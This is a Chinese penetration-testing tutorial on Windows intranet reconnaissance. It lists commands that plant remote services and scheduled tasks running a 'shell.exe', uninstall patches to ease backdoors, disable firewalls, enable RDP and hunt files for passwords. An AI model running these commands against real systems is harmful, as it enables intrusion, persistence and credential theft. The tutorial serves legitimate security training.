内网渗透测试的艺术[一]信息收集(入门篇)

信息收集[入门篇]
利用系统现有工具在现有权限条件下,我们到底能做些什么务必要时刻谨记我们搜集信息的初衷(严谨盲目),我们所搜集到的每个信息,都应该有它存在的价值,也就是说后续我们到底可以拿它干什么?这无比重要,举个简单例子,就拿搜集密码来说,首先我要知道哪些地方可能会存有密码:

数据库配置文件会有数据库的连接密码(SA@root)

三方工具的配置文件中可能也有保存的密码hash(如filezilla FTP之流)

浏览器中说不定保存的各种网站密码和系统密码是一样的(可能会有目标网站,这就极有可能getshell),如果Lucky的话,会搞到VPN账号密码,岂不快哉!

在权限和免杀都没问题的情况下,要搜集的密码还有很多,关于更多搜集密码,猜密码的东西,后续讲

首先,我们要明白的是:信息收集"严禁盲目!!!" 如果照本宣科的把命令过一遍是没有任何意义的.对信息的敏感度一定要高,要细心.务必要做记录,勤于记录这是一个好习惯.

工具是死的,人是活的. 我们知道想要做什么,远远比知道怎么做更重要

下面讲解针对各个部位的各种信息手法

  1. 信息收集
    1.1. 系统
    1.1.1. systeminfo
    · 功能:显示有关计算机及其操作系统的详细配置信息,系统版本,架构,补丁情况,包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)

· systeminfo命令工具十分强大。我们可以在命令提示符下面输入 systeminfo /?查看命令手册。系统显示可以还可以远程机器的信息,还可以输出为CSV文件更好的检索系统信息

1.1.2. systeminfo /fo:csv

· 输出为csv格式,默认为list格式显示有关计算机及其操作系统的详细配置信息,
包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)

1.1.3. systeminfo>>info.txt
· 会将systeteminfo命令运行结果吸入到info.txt这个文本文件

· type info.txt

• 显示这个文本文件的内容,我们可以从中获取很多重要的系统信息。

• 从这个文件中我们可以读取到网卡配置,硬件配置和补丁程序的详情,这个可以帮助我们了解系统的漏洞。

1.1.4. 一般来说,保存为CSV文件更好,然后我们可以打开CSV来检索列表。
我们键入 systeminfo /fo csv >>D:\1.csv就可以了。用wps表格打开

1.1.5. systeminfo /S 192.168.3.122 /U KLIONSEC\administrator /P "admin!@#123"

· 查看远程指定机器的详细系统配置信息

1.1.6. systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440 KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i "%i" @echo %i Not Installed!)&del /f /q /a temp.txt

· 如果存在,后续查看对应MS

1.1.7. hostname

· 计算机名

1.1.8. set
· 查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境

1.1.9. ver / winver 查看当前机器的NT内核版本
1.1.10. fsutil fsinfo drives 列出当前机器上的所有盘符
1.1.11. net share 查看当前机器开启的共享
1.1.12. driverquery 查看当前机器安装的驱动列表
1.1.13. restart /r /t 0 立即重启当前机器
1.2. 用户及用户组
1.2.1. whoami

· 显示当前登录到本地系统的用户的用户,组和权限信息。 如果没有参数使用,
whoami将显示当前的域和用户名

1.2.2. whoami /user

· 用户名和SID

1.2.3. whoami /groups

· 用户所属的用户组

1.2.4. whoami /priv

· 用户当前权限

1.2.5. whoami /ALL /FO LIST
1.2.6. 
1.2.7. net user "用户名"
· Net user “用户名”查看用户信息

• (查看当前机器中所有的用户名,开始搜集准备用户名字典 )
添加或修改用户帐户或显示用户帐户信息。

1.2.8. net user 查看本机用户
1.2.9. net user “admin” 查看admin用户的详细信息
1.2.10. net user /domain 查看域中的用户
1.2.11. net user epoadmin /domain 查看指定用户在当前域中的详细属性信息
1.2.12. query user

· 查当前机器中正在线的用户,注意管理员此时在不在

1.2.13. net localgroup

· 添加,显示或修改本地组

· 查当前机器中所有的组名,了解不同组的职能。
如,IT,HR,ADMIN,FILE…

1.2.14. net localgroup “administrators”

· 查看指定成员组的信息及成员

· 管理员对计算机/域有不受限制的完全访问权

1.2.15. net group

· 添加,显示或修改域中的全局组

1.2.16. net group /domain 查看域中的用户组
1.2.17. net group “domain admins” /domain 获得域管理员列表
1.2.18. net group “domain controllers” /domain 获得域控制器列表
1.2.19. net group “domain computers” /domain 获得所有域成员计算机列表
1.2.20. net accounts

· 更新用户帐户数据库并修改所有帐户的密码和登录要求。可以用来查看密码策略等信息

1.2.21. net accounts /domain

· 获得域密码策略设置,密码长短等信息

1.3. 安装的程序&服务进程
1.3.1. powershell

· Get-WmiObject -class Win32_Product |Select-Object -Property name,version

1.3.2. 服务进程

· tasklist /svc 显示当前机器所有的进程所对应的服务[只限于当前用户又
权限看到的进程]

· tasklist /m 显示本地所有进程所调用的dll[同样只限于当前用户又权限看
到的进程]

· tasklist /S 192.168.3.122 /v /U administrator /P "admin!@#123" 查看
远程指定机器的进程列表

· tasklist /S 192.168.3.122 /v /U KLIONSEC\administrator /P
"admin!@#123" 域内可以直接用机器名来代替

· taskkill /im calc.exe 用指定进程名的方式结束指定进程

· taskkill /S 192.168.3.122 /pid 3440 /U KLIONSEC\administrator /P
"admin!@#123" 结束远程机器上的指定进程

· wusa /uninstall /KB:2999226 /quiet /norestart 不重启卸载指定系统补丁,方便留后门,前提是权限要够

1.3.3. 安装的驱动列表

· driverquery 查看当前机器安装的驱动列表

1.4. 网络信息

1.4.1. ipconfig

· 显示所有当前TCP / IP网络配置值并刷新动态主机配置协议(DHCP)和域名系统(DNS)设置。 在不带参数的情况下使用, ipconfig显示所有适配器的IP地址,
子网掩码和默认网关。

1.4.2. ipconfig /all 查看所有适配器

· 查看本机ip配置,观察本机是否在域内,内网段有几个,网关在哪里

1.4.3. ipconfig /displaydns 查看本地DNS缓存

· 显示DNS客户端解析程序缓存的内容,其中包括从本地主机文件预加载的条 目和计算机解析的名称查询的任何最近获取的资源记录。
查看当前机器中所有的网络连接

1.4.4. route

· 查看路由信息

• 显示并修改本地IP路由表中的条目

1.4.5. route print -4 查看ipv4路由信息
1.4.6. route print 打印本机路由信息,可以看到本机所有的网卡接口
1.4.7. arp
· 显示和修改地址解析协议(ARP)缓存中的条目,该缓存包含一个或多个用于存储IP地址及其解析的以太网或令牌环物理地址的表。

1.4.8. arp –a 显示arp缓存
· 查找有价值的内网ARP通信记录

1.4.9. netsh int ip delete arpcache 删除当前机器的arp缓存
1.4.10. tracert 8.8.8.8 跟踪本机出口ip
1.4.11. netstat

· 查看当前机器中所有的网络连接

· 显示活动的TCP连接,计算机侦听的端口,以太网统计信息, IP路由表, IPv4统计信息以及IPv6统计信息。

1.4.12. netstat –ano 显示活动的tcp、 udp连接及它们对应的pid,地址与端口用数字表示
1.4.13. netstat –p tcp 显示tcp连接
1.4.14. net start 查看本机运行的所有服务
1.4.15. netstat -ano 查看本机所有的tcp,udp端口连接及其对应的pid
1.4.16. netstat -anob 查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
1.4.17. netstat -ano | findstr "ESTABLISHED" 查看当前正处于连接状态的端口及ip
1.4.18. netstat -ano | findstr "TIME_WAIT"
1.5. IPC$共享
1.5.1. net share

· 管理共享资源。 在不带参数的情况下使用, net share显示关于在本地计算机上共享的所有资源的信息

1.5.2. net share 查看当前机器开启的共享
1.5.3. net share c$ 查看c$共享的信息
1.5.4. net share public_dir="c:\public" /grant:Everyone,Full 设置共享
1.5.5. net use

· 查看网络连接

· 将计算机连接到共享资源或将计算机与共享资源断开连接,或显示有关计算机连接的信息。 该命令还控制持久的网络连接。 没有参数的情况下, net use检索一个网络连接列表

1.5.6. 利用最基础的ipc连接,这里需要注意下防火墙,如果没允许文件和打印共享服务,是根本net不上去的

1.5.7. net use \192.168.3.122\ipc$ /u:"" "" 先空连接探测
1.5.8. net use 查看当前机器中的ipc连接有哪些
1.5.9. net use \192.168.3.122\ipc$ /del
1.5.10. net use \192.168.3.122\admin$ /user:"dcadmin" "admin!@#45" 建立真正的IPC

1.5.11. ipc建立成功后,尝试直接在本地往远程机器上拷贝文件
1.5.12. 方式一

· net use p: \192.168.3.122\c$ 可在建立ipc后直接把对方的c盘映射过来,直接在本地进行拷贝

· net use p: /del 用完以后,务必立马删除映射

1.5.13. 方式二

· xcopy d:\sqlitedata*.* \192.168.3.122\c$\temp /E /Y /D 也可在建立ipc后直接远程拷贝

1.5.14. 依然是在ipc建立后,可直接在远程机器上创建,删除服务,创建服务时需要注意,
常规程序需要有返回值,不然启动服务时会报1053错误

1.5.15. sc \192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart"
1.5.16. sc \192.168.3.122 stop shllsrv
1.5.17. sc \192.168.3.122 delete shellsrv
1.5.18. net use \192.168.3.122\admin$ /del
1.5.19. net use * /del 最后,删除所有ipc,如果系统中还有其它的ipc连接,也可指定只删除自己的
1.5.20. 在远程机器上快速创建删除定时任务,需要指定目标系统的账号密码 [ 03以下系统用at]

1.5.21. net use \192.168.3.122\admin$ "admin!@#45"
/user:"klionsec\administrator"
· admin!@#45

• 密码

· /user:"klionsec\administrator"

• 账号

1.5.22. net time \192.168.3.122 查看目标机器当前时间
1.5.23. net use \192.168.3.122\admin$ /del
1.6. 定时任务
1.6.1. schtasks /create /? 查看schtasks使用帮助
1.6.2. chcp 437

· 如果当前机器是中文系统需要先修改下cmd字符集,
默认cmd是gbk,不然后面用schtasks远程创建计划任务时会报错

1.6.3. chcp 936

· 用完以后再把字符集改回来,如果是英文系统就不会有这种问题

1.6.4. schtasks使用说明

·     /Create         创建新计划任务。

·     /Delete         删除计划任务。

·     /Query          显示所有计划任务。

·     /Change         更改计划任务属性。

·     /Run            按需运行计划任务。

·     /End            中止当前正在运行的计划任务。

·     /ShowSid        显示与计划的任务名称相应的安全标识符。

·     /?              显示帮助消息。

·
创建新计划任务

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

1.6.5. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "admin!@#45" /create /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe"
1.6.6. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"admin!@#45" /query | findstr "shell"
1.6.7. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"admin!@#45" /TN "shellexec" /delete

1.6.8. 说明书
· 创建新计划任务

· SCHTASKS /Create [/S system [/U username [/P [password]]]]

·     [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]

·     [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]

·     [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]

·     [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

· 描述:

·      允许管理员在本地或远程系统上创建计划任务。

· 参数列表:

·     /S   system        指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。

·     /U   username      指定应在其中执行 SchTasks.exe 的用户上下文。

·     /P   [password]    指定给定用户上下文的密码。如果省略则提示输入。

·     /RU  username      指定任务在其下运行的“运行方式”用户帐户(用户上下文)。

·                        对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。

·                        对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和

·                        "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。

·     /RP  [password]    指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。

·                        系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。

·                       

·     /RU/XML  /SC  schedule     指定计划频率。

·                        有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、

·                        MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

·     /MO   modifier     改进计划类型以允许更好地控制计划重复

·                        周期。有效值列于下面“修改者”部分中。

·     /D    days         指定该周内运行任务的日期。有效值:

·                        MON、TUE、WED、THU、FRI、SAT、SUN

·                        和对 MONTHLY 计划的 1 - 31

·                        (某月中的日期)。通配符“*”指定所有日期。

·     /M    months       指定一年内的某月。默认是该月的第一天。

·                        有效值: JAN、FEB、MAR、APR、MAY、JUN、

·                        JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符

·                        “*” 指定所有的月。

·     /I    idletime     指定运行一个已计划的 ONIDLE 任务之前

·                        要等待的空闲时间。

·                        有效值范围: 1 到 999 分钟。

·     /TN   taskname     指定唯一识别这个计划任务的名称。

·     /TR   taskrun      指定在这个计划时间运行的程序的路径

·                        和文件名。

·                        例如: C:\windows\system32\calc.exe

·     /ST   starttime    指定运行任务的开始时间。

·                        时间格式为 HH:mm (24 小时时间),例如 14:30 表示

·                        2:30 PM。如果未指定 /ST,则默认值为

·                        当前时间。/SC ONCE 必需有此选项。

·     /RI   interval     用分钟指定重复间隔。这不适用于

·                        计划类型: MINUTE、HOURLY、

·                        ONSTART, ONLOGON, ONIDLE, ONEVENT.

·                        有效范围: 1 - 599940 分钟。

·                        如果已指定 /ET 或 /DU,则其默认值为

·                        10 分钟。

·     /ET   endtime      指定运行任务的结束时间。

·                        时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。

·                        这不适用于计划类型: ONSTART、

·                        ONLOGON, ONIDLE, ONEVENT.

·     /DU   duration     指定运行任务的持续时间。

·                        时间格式为 HH:mm。这不适用于 /ET 和

·                        计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.

·                        对于 /V1 任务,如果已指定 /RI,则持续时间默认值为

·                        1 小时。

·     /K                 在结束时间或持续时间终止任务。

·                        这不适用于计划类型: ONSTART、

·                        ONLOGON, ONIDLE, ONEVENT.

·                        必须指定 /ET 或 /DU。

·     /SD   startdate    指定运行任务的第一个日期。

·                        格式为 yyyy/mm/dd。默认值为

·                        当前日期。这不适用于计划类型: ONCE、

·                        ONSTART, ONLOGON, ONIDLE, ONEVENT.

·     /ED   enddate      指定此任务运行的最后一天的日期。

·                        格式是 yyyy/mm/dd。这不适用于计划类型:

·                         ONCE、ONSTART、ONLOGON、ONIDLE。

·     /EC   ChannelName  为 OnEvent 触发器指定事件通道。

·     /IT                仅有在 /RU 用户当前已登录且

·                        作业正在运行时才可以交互式运行任务。

·                        此任务只有在用户已登录的情况下才运行。

·     /NP                不储存任何密码。任务以给定用户的身份

·                        非交互的方式运行。只有本地资源可用。

·     /Z                 标记在最终运行完任务后删除任务。

·     /XML  xmlfile      从文件的指定任务 XML 中创建任务。

·                        可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含

·                        主体时单独使用 /RP。

·     /V1                创建 Vista 以前的平台可以看见的任务。

·                        不兼容 /XML。

·     /F                 如果指定的任务已经存在,则强制创建

·                        任务并抑制警告。

·     /RL   level        为作业设置运行级别。有效值为

·                        LIMITED 和 HIGHEST。默认值为 LIMITED。

·     /DELAY delaytime   指定触发触发器后延迟任务运行的

·                        等待时间。时间格式为

·                        mmmm:ss。此选项仅对计划类型

·                        ONSTART, ONLOGON, ONEVENT.

·     /?                 显示帮助消息。

· 修改者: 按计划类型的 /MO 开关的有效值:

·     MINUTE:  1 到 1439 分钟。

·     HOURLY:  1 - 23 小时。

·     DAILY:   1 到 365 天。

·     WEEKLY:  1 到 52 周。

·     ONCE:    无修改者。

·     ONSTART: 无修改者。

·     ONLOGON: 无修改者。

·     ONIDLE:  无修改者。

·     MONTHLY: 1 到 12,或FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。

·     ONEVENT:  XPath 事件查询字符串。

· 示例:

· ==> 在远程机器 “ABC” 上创建计划任务 “doc”,

· 该机器每小时在 “runasuser” 用户下运行 notepad.exe。

· SCHTASKS /Create /S ABC /U user /P password /RU runasuser

· /RP runaspassword /SC HOURLY /TN doc /TR notepad

· ==> 在远程机器 “ABC” 上创建计划任务 “accountant”,

· 在指定的开始日期和结束日期之间的开始时间和结束时间内,

· 每隔五分钟运行 calc.exe。

· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE

· /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00

· /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

· ==> 创建计划任务 “gametime”,在每月的第一个星期天运行“空当接龙”。

· SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime

· /TR c:\windows\system32\freecell

· ==> 在远程机器 “ABC” 创建计划任务 “report”,每个星期运行 notepad.exe。

· SCHTASKS /Create /S ABC /U user /P password /RU runasuser

· /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

· ==> 在远程机器 “ABC” 创建计划任务 “logtracker”,

· 每隔五分钟从指定的开始时间到无结束时间,

· 运行 notepad.exe。将提示输入 /RP 密码。

· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE

· /MO 5 /TN logtracker

· /TR c:\windows\system32\notepad.exe /ST 18:30

· /RU runasuser /RP

· ==> 创建计划任务 “gaming”,每天从 12:00 点开始到14:00 点自动结束,运行 freecell.exe。

·         SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00

·                  /ET 14:00 /K

· ==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc。只要在“系统”通道中发布事件 101

·         SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT

·                  /EC System /MO *[System/EventID=101]

· ==> 文件路径中可以加入空格,但需要加上两组引号,

· 一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD

· 的外部引号必须是一对双引号;内部引号可以是一对单引号或

· 一对转义双引号:

·         SCHTASKS /Create

·            /tr "'c:\program files\internet explorer\iexplorer.exe'

·            \"c:\log data\today.xml\"" ...

· 删除计划任务

· SCHTASKS /Delete [/S system [/U username [/P [password]]]]

·          /TN taskname [/F]

· 描述:

· 删除一个或多个计划任务。

· 参数列表:

·     /S   system         指定要连接到的远程系统。

·     /U   username       指定 schtasks.exe  要执行的用户上下文。

·     /P   [password]     指定给定用户上下文密码。如果省略则提示输入。

·     /TN  taskname       指定要删除的计划任务名称。可以使用通配符 "*" 来删除所有任务。

·     /F                  强制删除该任务,而且如果指定的任务当前正在运行,则抑制警告。

·     /?                  显示帮助消息。

· 示例:

·     SCHTASKS /Delete /TN * /F

·     SCHTASKS /Delete /TN "Backup and Restore"

·     SCHTASKS /Delete /S system /U user /P password /TN "Start Restore"

·     SCHTASKS /Delete /S system /U user /P password /TN "Start Backup" /F

· 显示所有计划任务

 SCHTASKS /Query [/S system [/U username [/P [password]]]]

·          [/FO format | /XML [xml_type]] [/NH] [/V] [/TN taskname] [/?]

· 描述:

· 允许管理员显示本地或远程系统上的计划任务。

· 参数列表:

·     /S    system         指定要连接到的远程系统。

·     /U    username       指定 schtasks.exe 要执行的用户上下文。

·     /P    [password]     指定给定的用户上下文密码。如果省略则提示输入。

·     /FO   format         为输出指定格式。有效值: TABLE、LIST、CSV。

·     /NH                  指定在输出中不显示列标题。只对 TABLE 格式有效。

·     /V                   显示详细任务输出。

·     /TN   taskname       指定要检索其信息的任务名称,否则会检索所有任务名称的信息。

·     /XML  [xml_type]     以 XML 格式显示任务定义。

·                          如果 xml_type 为 ONE,则输出为一个有效 XML 文件。

·                          如果 xml_type 不存在,则输出将为

·                          所有 XML 任务定义的串联。

·     /?                   显示帮助消息。

· 示例:

·     SCHTASKS /Query

·     SCHTASKS /Query /?

·     SCHTASKS /Query /S system /U user /P password

·     SCHTASKS /Query /FO LIST /V /S system /U user /P password

·     SCHTASKS /Query /FO TABLE /NH /V

· 更改计划任务属性

· SCHTASKS /Change [/S system [/U username [/P [password]]]] /TN taskname

·      { [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime]

·        [/RI interval] [ {/ET endtime | /DU duration} [/K] ]

·        [/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }

· 描述:

· 更改要运行的程序,或计划任务使用的用户帐户和密码。

· 参数列表:

·     /S       system      指定要连接的远程系统。

·     /U       username    指定应在其中执行 schtasks.exe的用户上下文。

·     /P       [password]  指定给定用户上下文的密码。如果省略则提示输入。

·     /TN      taskname    指定要更改的计划任务。

·     /RU      username    更改必须在其中执行计划任务的

·                          用户名(用户上下文)。对于系统帐户,

·                          有效值为 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。

·                          对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和

·                          "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID

·                          对这三个也都可用。

·     /RP      password    为现有用户上下文指定新密码

·                          或为新用户帐户指定密码。

·                          对系统帐户忽略此密码。

·     /TR      taskrun     指定计划任务将运行的新程序。

·     /ST      starttime   指定运行任务的开始时间。

·                          时间格式为 HH:mm (24 小时时间),例如 14:30表示 2:30 PM。

·     /RI      interval    用分钟指定重复间隔。有效范围: 1 - 599940 分钟。

·     /ET      endtime     指定运行任务的结束时间。

·                          时间格式为 HH:mm (24 小时时间),例如 14:50

·                          表示 2:50 PM。

·     /DU      duration    指定运行任务的持续时间。

·                          时间格式为 HH:mm。这不适用于 /ET。

·     /K                   在结束时间或持续时间终止任务。

·     /SD      startdate   指定运行任务的第一个日期。

·                          格式为 yyyy/mm/dd。

·     /ED      enddate     指定任务应该运行的最后一个日期。

·                          格式为 yyyy/mm/dd。

·     /IT                  仅有在 /RU 用户当前已登录且

·                          作业正在运行时才可以交互式运行任务。

·                          此任务只有在用户已登录的情况下才运行。

·     /RL      level       设置作业的运行级别。有效值为

·                          LIMITED 和 HIGHEST。默认情况下是不对其进行更改。

·     /ENABLE              启用计划任务。

·     /DISABLE             禁用计划任务。

·     /Z                   标记在最终运行完任务后删除任务。

·     /DELAY   delaytime   指定触发触发器后延迟任务运行的

·                          等待时间。时间格式为

·                          mmmm:ss。此选项仅对计划类型

·                          ONSTART、ONLOGON 和 ONEVENT 有效。

·     /?                   显示帮助消息。

· 示例:

·     SCHTASKS /Change /RP password /TN "备份和还原"

·     SCHTASKS /Change /TR restore.exe /TN "启动还原"

    ·     SCHTASKS /Change /S system /U user /P password /RU newuser

·              /TN "Start Backup" /IT

· 按需运行计划任务

· SCHTASKS /Run [/S system [/U username [/P [password]]]] [/I] /TN taskname

· 描述:

· 按需运行计划任务。

· 参数列表:

·     /S     system        指定要连接到的远程系统。

·     /U     username      指定应在其中执行 schtasks.exe的用户上下文。

·     /P     [password]    为给定的用户上下文指定密码,如果省略则提示输入。

·     /I                   忽略任何限制立即运行任务。

·     /TN    taskname      标识要立即运行的计划任务。

·     /?                   显示此帮助消息。

· 示例:

·     SCHTASKS /Run /TN "Start Backup"

·     SCHTASKS /Run /S system /U user /P password /I /TN“备份和还原”

· 中止当前正在运行的计划任务

· SCHTASKS /End [/S system [/U username [/P [password]]]] /TN taskname

· 描述:

· 停止正在运行的计划任务。

· 参数列表:

·     /S   system      指定要连接到的远程系统。

·     /U   username    指定应在其中执行schtasks.exe 的用户上下文。

·     /P   [password]  为给定的用户上下文指定密码。如果已忽略,将提示输入密码。

·     /TN  taskname    指定要终止的计划任务。

·     /?               显示帮助消息。

· 示例:

·     SCHTASKS /End /TN "Start Backup"

·     SCHTASKS /End /S system /U user /P password /TN "Backup and Restore"

· 显示与计划的任务名称相应的安全标识符

· SCHTASKS /ShowSid /TN taskname

· 描述:

· 向任务的专用用户显示 SID。

· 参数列表:

·     /TN  taskname    指定计划的任务名称。名称中不允许有短划线。

·     /?               显示帮助消息。

· 示例:

·     SCHTASKS /ShowSid /TN "\Microsoft\Windows\RAC\RACTask

1.7. 内网存活

1.7.1. for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128"
>> pinglog.txt

· 初步先大致看下当前所在内网有多少存活机器 [ 单基于icmp的扫描 ]

1.7.2. for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >>
dnslog.txt

· 搜集当前内网中的dns信息

1.8. 防火墙

1.8.1. netsh advfirewall show private 查看当前机器防火墙状态
1.8.2. netsh advfirewall set allprofiles state off 关闭当前机器防火墙
1.8.3. netsh advfirewall set allprofiles state on 开启当前机器防火墙

1.9. 远程桌面RDP
1.9.1. REG
· 操作当前机器的rdp,实战中推荐直接用powershell来搞,直接用reg可能会触发防护报警:

· 第一种,使用原始的reg工具,适合03以下的系统 ```查询rdp的端口,注意把默认的十六进制转换成十进制

· reg query "HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber

· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

• 启动RDP

· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

• 禁用

1.9.2. powershell
· powershell -exec bypass

• 执行旁路

· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0

· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1

• 不允许

1.9.3. 放开防火墙对rdp的限制

· netsh advfirewall firewall set rule group="remote desktop" new enable=yes

· netsh advfirewall firewall set rule group="远程桌面" new enable=yes

1.10. 敏感文件
1.10.1. 在指定目录下搜索各类敏感文件
·

dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"conf"
dir /a /s /b d:\"bak"
dir /a /s /b d:\"pwd"
dir /a /s /b d:\"pass"
dir /a /s /b d:\"login"
dir /a /s /b d:\"user"

1.10.2. 批量压缩指定文件,注意,list.txt里存放的是所有要打包文件的绝对路径

· makecab /f list.txt /d compressiontype=lzx /d
compressionmemory=21 /d maxdisksize=1024000000 /d
diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab

1.10.3. 在指定目录下搜集各种账号密码

· findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

· findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

· findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

· findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

· findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

1.10.4. 查看,删除 指定文件

· type ad\admin_pass.bak 查看某个文件内容

· del d:\ad*.* /a /s /q /f 强制删除指定路径下的所有文件

• 短文件名

· tree /F /A D:\ >> file_list.txt 导出指定路径下的文件目录结构

1.11. 域内套件信息收集
1.11.1. NET套件

· net user /domain 查看当前域中的所有用户名,根据用户名总数大概判断
域的规模

· net user epoadmin /domain 查看指定用户在当前域中的详细属性信息

· net view 正常情况下可以用该命令查看当前域中在线的机器有哪些,但这
样看着确实不太直观,稍微用批处理搞一下把机器名对应的ip也显示出来,
岂不更畅快

•	

    @echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )

· net accounts /domain 查看当前域的域内账户密码设置策略

· net config workstation 看看当前的登录域

· net view /domain 查看所有的域名称

· net view /domain:PROGRAM 查看指定域中在线的计算机列表

· net time /domain 查看主域位置,一般都会把主域作为时间服务器

· net group /domain 查看当前域中的所有组名

· net group "domain admins" /domain 看看当前域中的域管都有谁

· net group "domain computers" /domain 看看当前域中的所有的计算机
名,只要登录过该域计算机名都会被保存下来,并非当前在线机器

· net group "domain controllers" /domain 看看域控是哪几个

· nltest /domain_trusts 查看域内信任关系

1.11.2. dsquery 工具
· 该工具貌似只在域控机器上有,应该是在域的安装包里,你可以把对应系统的这个工具的exe和dll扣出来上传上去用

· dsquery computer 查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery

· dsquery user 查看当前域中的所有账户名

· dsquery group 查看当前域内的所有组名

· dsquery subnet 查看到当前域所在的网段

· dsquery site 查看域内所有的web站点

· dsquery server 查看当前域中的所有服务器(应该是指域控)

· dsquery user domainroot -name admin* -limit 240 查询前240个以admin开头的用户名

1.12. WMIC套件使用
1.12.1. 其实,上面基础工具能干的事情,wmic全部能干,且过之不及],在操作远程时,如果遇到’RPC 服务不可用’直接把机器名换成ip即可,
别看这么多,我们实战用的最多的可能就是远程执行及远程开启rdp了,如,远程导hash,远程执行payload…
· 远程过程调用(RPC),远程过程调用可完成网络环境下的对象之间的消息传递工作。第二种方式是共有存储器方式传递消息。

1.12.2. 查询当前及远程机器的进程信息

· wmic process list brief

• 进程列表简报

· wmic process list brief /every:1

• 每隔一秒刷新一次系统进程

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process list brief

1.12.3. 查询当前及远程机器上指定进程的详细信息
· wmic process where name='calc.exe' list brief

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process where name='calc.exe' list brief

1.12.4. 删除当前及远程机器中的指定进程
· wmic process where name='calc.exe' delete

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process where name='calc.exe' delete

1.12.5. 在当前机器中执行指定程序
· wmic process call create "calc.exe"

